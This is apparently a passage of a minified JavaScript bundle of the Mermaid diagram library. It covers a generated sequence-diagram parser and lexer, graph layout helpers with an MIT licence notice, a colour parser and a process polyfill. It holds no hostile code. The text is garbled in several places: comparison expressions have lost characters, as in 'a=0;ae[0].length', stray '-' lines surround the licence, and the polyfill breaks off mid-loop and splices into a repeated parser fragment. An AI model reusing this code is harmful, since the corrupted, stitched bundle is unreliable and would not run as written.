n},e=[1,2],n=[1,3],r=[1,5],i=[1,7],a=[2,5],o=[1,15],s=[1,17],u=[1,18],c=[1,20],l=[1,21],h=[1,22],f=[1,24],d=[1,25],p=[1,26],y=[1,27],g=[1,28],v=[1,29],m=[1,32],b=[1,33],_=[1,36],x=[1,4,5,16,21,22,23,25,27,28,29,30,31,33,35,36,37,48,58],w=[1,44],k=[4,5,16,21,22,23,25,27,28,29,30,31,33,37,48,58],T=[4,5,16,21,22,23,25,27,28,29,30,31,33,36,37,48,58],E=[4,5,16,21,22,23,25,27,28,29,30,31,33,35,37,48,58],C=[46,47,48],S=[1,4,5,7,16,21,22,23,25,27,28,29,30,31,33,35,36,37,48,58],A={trace:function(){},yy:{},symbols_:{error:2,start:3,SPACE:4,NEWLINE:5,directive:6,SD:7,document:8,line:9,statement:10,openDirective:11,typeDirective:12,closeDirective:13,":":14,argDirective:15,participant:16,actor:17,AS:18,restOfLine:19,signal:20,autonumber:21,activate:22,deactivate:23,note_statement:24,title:25,text2:26,loop:27,end:28,rect:29,opt:30,alt:31,else_sections:32,par:33,par_sections:34,and:35,else:36,note:37,placement:38,over:39,actor_pair:40,spaceList:41,",":42,left_of:43,right_of:44,signaltype:45,"+":46,"-":47,ACTOR:48,SOLID_OPEN_ARROW:49,DOTTED_OPEN_ARROW:50,SOLID_ARROW:51,DOTTED_ARROW:52,SOLID_CROSS:53,DOTTED_CROSS:54,SOLID_POINT:55,DOTTED_POINT:56,TXT:57,open_directive:58,type_directive:59,arg_directive:60,close_directive:61,$accept:0,$end:1},terminals_:{2:"error",4:"SPACE",5:"NEWLINE",7:"SD",14:":",16:"participant",18:"AS",19:"restOfLine",21:"autonumber",22:"activate",23:"deactivate",25:"title",27:"loop",28:"end",29:"rect",30:"opt",31:"alt",33:"par",35:"and",36:"else",37:"note",39:"over",42:",",43:"left_of",44:"right_of",46:"+",47:"-",48:"ACTOR",49:"SOLID_OPEN_ARROW",50:"DOTTED_OPEN_ARROW",51:"SOLID_ARROW",52:"DOTTED_ARROW",53:"SOLID_CROSS",54:"DOTTED_CROSS",55:"SOLID_POINT",56:"DOTTED_POINT",57:"TXT",58:"open_directive",59:"type_directive",60:"arg_directive",61:"close_directive"},productions_:[0,[3,2],[3,2],[3,2],[3,2],[8,0],[8,2],[9,2],[9,1],[9,1],[6,4],[6,6],[10,5],[10,3],[10,2],[10,1],[10,3],[10,3],[10,2],[10,3],[10,4],[10,4],[10,4],[10,4],[10,4],[10,1],[34,1],[34,4],[32,1],[32,4],[24,4],[24,4],[41,2],[41,1],[40,3],[40,1],[38,1],[38,1],[20,5],[20,5],[20,4],[17,1],[45,1],[45,1],[45,1],[45,1],[45,1],[45,1],[45,1],[45,1],[26,1],[11,1],[12,1],[15,1],[13,1]],performAction:function(t,e,n,r,i,a,o){var s=a.length-1;switch(i){case 4:return r.apply(a[s]),a[s];case 5:this.$=[];break;case 6:a[s-1].push(a[s]),this.$=a[s-1];break;case 7:case 8:this.$=a[s];break;case 9:this.$=[];break;case 12:a[s-3].description=r.parseMessage(a[s-1]),this.$=a[s-3];break;case 13:this.$=a[s-1];break;case 15:r.enableSequenceNumbers();break;case 16:this.$={type:"activeStart",signalType:r.LINETYPE.ACTIVE_START,actor:a[s-1]};break;case 17:this.$={type:"activeEnd",signalType:r.LINETYPE.ACTIVE_END,actor:a[s-1]};break;case 19:this.$=[{type:"setTitle",text:a[s-1]}];break;case 20:a[s-1].unshift({type:"loopStart",loopText:r.parseMessage(a[s-2]),signalType:r.LINETYPE.LOOP_START}),a[s-1].push({type:"loopEnd",loopText:a[s-2],signalType:r.LINETYPE.LOOP_END}),this.$=a[s-1];break;case 21:a[s-1].unshift({type:"rectStart",color:r.parseMessage(a[s-2]),signalType:r.LINETYPE.RECT_START}),a[s-1].push({type:"rectEnd",color:r.parseMessage(a[s-2]),signalType:r.LINETYPE.RECT_END}),this.$=a[s-1];break;case 22:a[s-1].unshift({type:"optStart",optText:r.parseMessage(a[s-2]),signalType:r.LINETYPE.OPT_START}),a[s-1].push({type:"optEnd",optText:r.parseMessage(a[s-2]),signalType:r.LINETYPE.OPT_END}),this.$=a[s-1];break;case 23:a[s-1].unshift({type:"altStart",altText:r.parseMessage(a[s-2]),signalType:r.LINETYPE.ALT_START}),a[s-1].push({type:"altEnd",signalType:r.LINETYPE.ALT_END}),this.$=a[s-1];break;case 24:a[s-1].unshift({type:"parStart",parText:r.parseMessage(a[s-2]),signalType:r.LINETYPE.PAR_START}),a[s-1].push({type:"parEnd",signalType:r.LINETYPE.PAR_END}),this.$=a[s-1];break;case 27:this.$=a[s-3].concat([{type:"and",parText:r.parseMessage(a[s-1]),signalType:r.LINETYPE.PAR_AND},a[s]]);break;case 29:this.$=a[s-3].concat([{type:"else",altText:r.parseMessage(a[s-1]),signalType:r.LINETYPE.ALT_ELSE},a[s]]);break;case 30:this.$=[a[s-1],{type:"addNote",placement:a[s-2],actor:a[s-1].actor,text:a[s]}];break;case 31:a[s-2]=[].concat(a[s-1],a[s-1]).slice(0,2),a[s-2][0]=a[s-2][0].actor,a[s-2][1]=a[s-2][1].actor,this.$=[a[s-1],{type:"addNote",placement:r.PLACEMENT.OVER,actor:a[s-2].slice(0,2),text:a[s]}];break;case 34:this.$=[a[s-2],a[s]];break;case 35:this.$=a[s];break;case 36:this.$=r.PLACEMENT.LEFTOF;break;case 37:this.$=r.PLACEMENT.RIGHTOF;break;case 38:this.$=[a[s-4],a[s-1],{type:"addMessage",from:a[s-4].actor,to:a[s-1].actor,signalType:a[s-3],msg:a[s]},{type:"activeStart",signalType:r.LINETYPE.ACTIVE_START,actor:a[s-1]}];break;case 39:this.$=[a[s-4],a[s-1],{type:"addMessage",from:a[s-4].actor,to:a[s-1].actor,signalType:a[s-3],msg:a[s]},{type:"activeEnd",signalType:r.LINETYPE.ACTIVE_END,actor:a[s-4]}];break;case 40:this.$=[a[s-3],a[s-1],{type:"addMessage",from:a[s-3].actor,to:a[s-1].actor,signalType:a[s-2],msg:a[s]}];break;case 41:this.$={type:"addActor",actor:a[s]};break;case 42:this.$=r.LINETYPE.SOLID_OPEN;break;case 43:this.$=r.LINETYPE.DOTTED_OPEN;break;case 44:this.$=r.LINETYPE.SOLID;break;case 45:this.$=r.LINETYPE.DOTTED;break;case 46:this.$=r.LINETYPE.SOLID_CROSS;break;case 47:this.$=r.LINETYPE.DOTTED_CROSS;break;case 48:this.$=r.LINETYPE.SOLID_POINT;break;case 49:this.$=r.LINETYPE.DOTTED_POINT;break;case 50:this.$=r.parseMessage(a[s].trim().substring(1));break;case 51:r.parseDirective("%%{","open_directive");break;case 52:r.parseDirective(a[s],"type_directive");break;case 53:a[s]=a[s].trim().replace(/'/g,'"'),r.parseDirective(a[s],"arg_directive");break;case 54:r.parseDirective("}%%","close_directive","sequence")}},table:[{3:1,4:e,5:n,6:4,7:r,11:6,58:i},{1:[3]},{3:8,4:e,5:n,6:4,7:r,11:6,58:i},{3:9,4:e,5:n,6:4,7:r,11:6,58:i},{3:10,4:e,5:n,6:4,7:r,11:6,58:i},t([1,4,5,16,21,22,23,25,27,29,30,31,33,37,48,58],a,{8:11}),{12:12,59:[1,13]},{59:[2,51]},{1:[2,1]},{1:[2,2]},{1:[2,3]},{1:[2,4],4:o,5:s,6:30,9:14,10:16,11:6,16:u,17:31,20:19,21:c,22:l,23:h,24:23,25:f,27:d,29:p,30:y,31:g,33:v,37:m,48:b,58:i},{13:34,14:[1,35],61:_},t([14,61],[2,52]),t(x,[2,6]),{6:30,10:37,11:6,16:u,17:31,20:19,21:c,22:l,23:h,24:23,25:f,27:d,29:p,30:y,31:g,33:v,37:m,48:b,58:i},t(x,[2,8]),t(x,[2,9]),{17:38,48:b},{5:[1,39]},t(x,[2,15]),{17:40,48:b},{17:41,48:b},{5:[1,42]},{26:43,57:w},{19:[1,45]},{19:[1,46]},{19:[1,47]},{19:[1,48]},{19:[1,49]},t(x,[2,25]),{45:50,49:[1,51],50:[1,52],51:[1,53],52:[1,54],53:[1,55],54:[1,56],55:[1,57],56:[1,58]},{38:59,39:[1,60],43:[1,61],44:[1,62]},t([5,18,42,49,50,51,52,53,54,55,56,57],[2,41]),{5:[1,63]},{15:64,60:[1,65]},{5:[2,54]},t(x,[2,7]),{5:[1,67],18:[1,66]},t(x,[2,14]),{5:[1,68]},{5:[1,69]},t(x,[2,18]),{5:[1,70]},{5:[2,50]},t(k,a,{8:71}),t(k,a,{8:72}),t(k,a,{8:73}),t(T,a,{32:74,8:75}),t(E,a,{34:76,8:77}),{17:80,46:[1,78],47:[1,79],48:b},t(C,[2,42]),t(C,[2,43]),t(C,[2,44]),t(C,[2,45]),t(C,[2,46]),t(C,[2,47]),t(C,[2,48]),t(C,[2,49]),{17:81,48:b},{17:83,40:82,48:b},{48:[2,36]},{48:[2,37]},t(S,[2,10]),{13:84,61:_},{61:[2,53]},{19:[1,85]},t(x,[2,13]),t(x,[2,16]),t(x,[2,17]),t(x,[2,19]),{4:o,5:s,6:30,9:14,10:16,11:6,16:u,17:31,20:19,21:c,22:l,23:h,24:23,25:f,27:d,28:[1,86],29:p,30:y,31:g,33:v,37:m,48:b,58:i},{4:o,5:s,6:30,9:14,10:16,11:6,16:u,17:31,20:19,21:c,22:l,23:h,24:23,25:f,27:d,28:[1,87],29:p,30:y,31:g,33:v,37:m,48:b,58:i},{4:o,5:s,6:30,9:14,10:16,11:6,16:u,17:31,20:19,21:c,22:l,23:h,24:23,25:f,27:d,28:[1,88],29:p,30:y,31:g,33:v,37:m,48:b,58:i},{28:[1,89]},{4:o,5:s,6:30,9:14,10:16,11:6,16:u,17:31,20:19,21:c,22:l,23:h,24:23,25:f,27:d,28:[2,28],29:p,30:y,31:g,33:v,36:[1,90],37:m,48:b,58:i},{28:[1,91]},{4:o,5:s,6:30,9:14,10:16,11:6,16:u,17:31,20:19,21:c,22:l,23:h,24:23,25:f,27:d,28:[2,26],29:p,30:y,31:g,33:v,35:[1,92],37:m,48:b,58:i},{17:93,48:b},{17:94,48:b},{26:95,57:w},{26:96,57:w},{26:97,57:w},{42:[1,98],57:[2,35]},{5:[1,99]},{5:[1,100]},t(x,[2,20]),t(x,[2,21]),t(x,[2,22]),t(x,[2,23]),{19:[1,101]},t(x,[2,24]),{19:[1,102]},{26:103,57:w},{26:104,57:w},{5:[2,40]},{5:[2,30]},{5:[2,31]},{17:105,48:b},t(S,[2,11]),t(x,[2,12]),t(T,a,{8:75,32:106}),t(E,a,{8:77,34:107}),{5:[2,38]},{5:[2,39]},{57:[2,34]},{28:[2,29]},{28:[2,27]}],defaultActions:{7:[2,51],8:[2,1],9:[2,2],10:[2,3],36:[2,54],44:[2,50],61:[2,36],62:[2,37],65:[2,53],95:[2,40],96:[2,30],97:[2,31],103:[2,38],104:[2,39],105:[2,34],106:[2,29],107:[2,27]},parseError:function(t,e){if(!e.recoverable){var n=new Error(t);throw n.hash=e,n}this.trace(t)},parse:function(t){var e=this,n=[0],r=[],i=[null],a=[],o=this.table,s="",u=0,c=0,l=0,h=2,f=1,d=a.slice.call(arguments,1),p=Object.create(this.lexer),y={yy:{}};for(var g in this.yy)Object.prototype.hasOwnProperty.call(this.yy,g)&&(y.yy[g]=this.yy[g]);p.setInput(t,y.yy),y.yy.lexer=p,y.yy.parser=this,void 0===p.yylloc&&(p.yylloc={});var v=p.yylloc;a.push(v);var m=p.options&&p.options.ranges;function b(){var t;return"number"!=typeof(t=r.pop()||p.lex()||f)&&(t instanceof Array&&(t=(r=t).pop()),t=e.symbols_[t]||t),t}"function"==typeof y.yy.parseError?this.parseError=y.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;for(var _,x,w,k,T,E,C,S,A,M={};;){if(w=n[n.length-1],this.defaultActions[w]?k=this.defaultActions[w]:(null==_&&(_=b()),k=o[w]&&o[w][_]),void 0===k||!k.length||!k[0]){var N="";for(E in A=[],o[w])this.terminals_[E]&&E>h&&A.push("'"+this.terminals_[E]+"'");N=p.showPosition?"Parse error on line "+(u+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[_]||_)+"'":"Parse error on line "+(u+1)+": Unexpected "+(_==f?"end of input":"'"+(this.terminals_[_]||_)+"'"),this.parseError(N,{text:p.match,token:this.terminals_[_]||_,line:p.yylineno,loc:v,expected:A})}if(k[0]instanceof Array&&k.length>1)throw new Error("Parse Error: multiple actions possible at state: "+w+", token: "+_);switch(k[0]){case 1:n.push(_),i.push(p.yytext),a.push(p.yylloc),n.push(k[1]),_=null,x?(_=x,x=null):(c=p.yyleng,s=p.yytext,u=p.yylineno,v=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[k[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},m&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,c,u,y.yy,k[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[k[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},M={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{"case-insensitive":!0},performAction:function(t,e,n,r){switch(n){case 0:return this.begin("open_directive"),58;case 1:return this.begin("type_directive"),59;case 2:return this.popState(),this.begin("arg_directive"),14;case 3:return this.popState(),this.popState(),61;case 4:return 60;case 5:return 5;case 6:case 7:case 8:case 9:case 10:break;case 11:return this.begin("ID"),16;case 12:return e.yytext=e.yytext.trim(),this.begin("ALIAS"),48;case 13:return this.popState(),this.popState(),this.begin("LINE"),18;case 14:return this.popState(),this.popState(),5;case 15:return this.begin("LINE"),27;case 16:return this.begin("LINE"),29;case 17:return this.begin("LINE"),30;case 18:return this.begin("LINE"),31;case 19:return this.begin("LINE"),36;case 20:return this.begin("LINE"),33;case 21:return this.begin("LINE"),35;case 22:return this.popState(),19;case 23:return 28;case 24:return 43;case 25:return 44;case 26:return 39;case 27:return 37;case 28:return this.begin("ID"),22;case 29:return this.begin("ID"),23;case 30:return 25;case 31:return 7;case 32:return 21;case 33:return 42;case 34:return 5;case 35:return e.yytext=e.yytext.trim(),48;case 36:return 51;case 37:return 52;case 38:return 49;case 39:return 50;case 40:return 53;case 41:return 54;case 42:return 55;case 43:return 56;case 44:return 57;case 45:return 46;case 46:return 47;case 47:return 5;case 48:return"INVALID"}},rules:[/^(?:%%\{)/i,/^(?:((?:(?!\}%%)[^:.])*))/i,/^(?::)/i,/^(?:\}%%)/i,/^(?:((?:(?!\}%%).|\n)*))/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:((?!\n)\s)+)/i,/^(?:#[^\n]*)/i,/^(?:%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:participant\b)/i,/^(?:[^\->:\n,;]+?(?=((?!\n)\s)+as(?!\n)\s|[#\n;]|$))/i,/^(?:as\b)/i,/^(?:(?:))/i,/^(?:loop\b)/i,/^(?:rect\b)/i,/^(?:opt\b)/i,/^(?:alt\b)/i,/^(?:else\b)/i,/^(?:par\b)/i,/^(?:and\b)/i,/^(?:(?:[:]?(?:no)?wrap)?[^#\n;]*)/i,/^(?:end\b)/i,/^(?:left of\b)/i,/^(?:right of\b)/i,/^(?:over\b)/i,/^(?:note\b)/i,/^(?:activate\b)/i,/^(?:deactivate\b)/i,/^(?:title\b)/i,/^(?:sequenceDiagram\b)/i,/^(?:autonumber\b)/i,/^(?:,)/i,/^(?:;)/i,/^(?:[^\+\->:\n,;]+((?!(-x|--x|-\)|--\)))[\-]*[^\+\->:\n,;]+)*)/i,/^(?:->>)/i,/^(?:-->>)/i,/^(?:->)/i,/^(?:-->)/i,/^(?:-[x])/i,/^(?:--[x])/i,/^(?:-[\)])/i,/^(?:--[\)])/i,/^(?::(?:(?:no)?wrap)?[^#\n;]+)/i,/^(?:\+)/i,/^(?:-)/i,/^(?:$)/i,/^(?:.)/i],conditions:{open_directive:{rules:[1,8],inclusive:!1},type_directive:{rules:[2,3,8],inclusive:!1},arg_directive:{rules:[3,4,8],inclusive:!1},ID:{rules:[7,8,12],inclusive:!1},ALIAS:{rules:[7,8,13,14],inclusive:!1},LINE:{rules:[7,8,22],inclusive:!1},INITIAL:{rules:[0,5,6,8,9,10,11,15,16,17,18,19,20,21,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48],inclusive:!0}}};function N(){this.yy={}}return A.lexer=M,N.prototype=A,A.Parser=N,new N}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(16).readFileSync(n(17).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(11),n(6)(t))},function(t,e,n){var r=n(357);t.exports={Graph:r.Graph,json:n(460),alg:n(461),version:r.version}},function(t,e,n){var r;try{r={cloneDeep:n(472),constant:n(101),defaults:n(182),each:n(102),filter:n(156),find:n(473),flatten:n(184),forEach:n(154),forIn:n(480),has:n(107),isUndefined:n(167),last:n(481),map:n(168),mapValues:n(482),max:n(483),merge:n(485),min:n(490),minBy:n(491),now:n(492),pick:n(189),range:n(190),reduce:n(170),sortBy:n(499),uniqueId:n(191),values:n(175),zipObject:n(504)}}catch(t){}r||(r=window._),t.exports=r},function(t,e){var n=Array.isArray;t.exports=n},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(127),i=n(332),a=n(333),o=n(334),s={format:{keyword:i.default,hex:r.default,rgb:a.default,rgba:a.default,hsl:o.default,hsla:o.default},parse:function(t){if("string"!=typeof t)return t;var e=r.default.parse(t)||a.default.parse(t)||o.default.parse(t)||i.default.parse(t);if(e)return e;throw new Error('Unsupported color format: "'+t+'"')},stringify:function(t){return!t.changed&&t.color?t.color:t.type.is(2)||void 0===t.data.r?o.default.stringify(t):t.a<1||!Number.isInteger(t.r)||!Number.isInteger(t.g)||!Number.isInteger(t.b)?a.default.stringify(t):r.default.stringify(t)}};e.default=s},function(t,e){t.exports=function(t){return t.webpackPolyfill||(t.deprecate=function(){},t.paths=[],t.children||(t.children=[]),Object.defineProperty(t,"loaded",{enumerable:!0,get:function(){return t.l}}),Object.defineProperty(t,"id",{enumerable:!0,get:function(){return t.i}}),t.webpackPolyfill=1),t}},function(t,e,n){ -/** - * @license - * Copyright (c) 2012-2013 Chris Pettitt - * - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in - * all copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN - * THE SOFTWARE. - */ -t.exports={graphlib:n(470),dagre:n(181),intersect:n(529),render:n(531),util:n(14),version:n(543)}},function(t,e,n){"use strict";var r=n(3),i=n(19).Graph;function a(t,e,n,i){var a;do{a=r.uniqueId(i)}while(t.hasNode(a));return n.dummy=e,t.setNode(a,n),a}function o(t){return r.max(r.map(t.nodes(),(function(e){var n=t.node(e).rank;if(!r.isUndefined(n))return n})))}t.exports={addDummyNode:a,simplify:function(t){var e=(new i).setGraph(t.graph());return r.forEach(t.nodes(),(function(n){e.setNode(n,t.node(n))})),r.forEach(t.edges(),(function(n){var r=e.edge(n.v,n.w)||{weight:0,minlen:1},i=t.edge(n);e.setEdge(n.v,n.w,{weight:r.weight+i.weight,minlen:Math.max(r.minlen,i.minlen)})})),e},asNonCompoundGraph:function(t){var e=new i({multigraph:t.isMultigraph()}).setGraph(t.graph());return r.forEach(t.nodes(),(function(n){t.children(n).length||e.setNode(n,t.node(n))})),r.forEach(t.edges(),(function(n){e.setEdge(n,t.edge(n))})),e},successorWeights:function(t){var e=r.map(t.nodes(),(function(e){var n={};return r.forEach(t.outEdges(e),(function(e){n[e.w]=(n[e.w]||0)+t.edge(e).weight})),n}));return r.zipObject(t.nodes(),e)},predecessorWeights:function(t){var e=r.map(t.nodes(),(function(e){var n={};return r.forEach(t.inEdges(e),(function(e){n[e.v]=(n[e.v]||0)+t.edge(e).weight})),n}));return r.zipObject(t.nodes(),e)},intersectRect:function(t,e){var n,r,i=t.x,a=t.y,o=e.x-i,s=e.y-a,u=t.width/2,c=t.height/2;if(!o&&!s)throw new Error("Not possible to find intersection inside of the rectangle");Math.abs(s)*u>Math.abs(o)*c?(s<0&&(c=-c),n=c*o/s,r=c):(o<0&&(u=-u),n=u,r=u*s/o);return{x:i+n,y:a+r}},buildLayerMatrix:function(t){var e=r.map(r.range(o(t)+1),(function(){return[]}));return r.forEach(t.nodes(),(function(n){var i=t.node(n),a=i.rank;r.isUndefined(a)||(e[a][i.order]=n)})),e},normalizeRanks:function(t){var e=r.min(r.map(t.nodes(),(function(e){return t.node(e).rank})));r.forEach(t.nodes(),(function(n){var i=t.node(n);r.has(i,"rank")&&(i.rank-=e)}))},removeEmptyRanks:function(t){var e=r.min(r.map(t.nodes(),(function(e){return t.node(e).rank}))),n=[];r.forEach(t.nodes(),(function(r){var i=t.node(r).rank-e;n[i]||(n[i]=[]),n[i].push(r)}));var i=0,a=t.graph().nodeRankFactor;r.forEach(n,(function(e,n){r.isUndefined(e)&&n%a!=0?--i:i&&r.forEach(e,(function(e){t.node(e).rank+=i}))}))},addBorderNode:function(t,e,n,r){var i={width:0,height:0};arguments.length>=4&&(i.rank=n,i.order=r);return a(t,"border",i,e)},maxRank:o,partition:function(t,e){var n={lhs:[],rhs:[]};return r.forEach(t,(function(t){e(t)?n.lhs.push(t):n.rhs.push(t)})),n},time:function(t,e){var n=r.now();try{return e()}finally{console.log(t+" time: "+(r.now()-n)+"ms")}},notime:function(t,e){return e()}}},function(t,e,n){t.exports={graphlib:n(19),layout:n(471),debug:n(527),util:{time:n(8).time,notime:n(8).notime},version:n(528)}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(326),i=n(327),a=n(328),o={channel:r.default,lang:i.default,unit:a.default};e.default=o},function(t,e){var n,r,i=t.exports={};function a(){throw new Error("setTimeout has not been defined")}function o(){throw new Error("clearTimeout has not been defined")}function s(t){if(n===setTimeout)return setTimeout(t,0);if((n===a||!n)&&setTimeout)return n=setTimeout,setTimeout(t,0);try{return n(t,0)}catch(e){try{return n.call(null,t,0)}catch(e){return n.call(this,t,0)}}}!function(){try{n="function"==typeof setTimeout?setTimeout:a}catch(t){n=a}try{r="function"==typeof clearTimeout?clearTimeout:o}catch(t){r=o}}();var u,c=[],l=!1,h=-1;function f(){l&&u&&(l=!1,u.length?c=u.concat(c):h=-1,c.length&&d())}function d(){if(!l){var t=s(f);l=!0;for(var e=c.length;e;){for(u=c,c=[];++h1)for(var n=1;nh&&A.push("'"+this.terminals_[E]+"'");N=p.showPosition?"Parse error on line "+(u+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[_]||_)+"'":"Parse error on line "+(u+1)+": Unexpected "+(_==f?"end of input":"'"+(this.terminals_[_]||_)+"'"),this.parseError(N,{text:p.match,token:this.terminals_[_]||_,line:p.yylineno,loc:v,expected:A})}if(k[0]instanceof Array&&k.length>1)throw new Error("Parse Error: multiple actions possible at state: "+w+", token: "+_);switch(k[0]){case 1:n.push(_),i.push(p.yytext),a.push(p.yylloc),n.push(k[1]),_=null,x?(_=x,x=null):(c=p.yyleng,s=p.yytext,u=p.yylineno,v=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[k[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},m&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,c,u,y.yy,k[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[k[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},F={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return 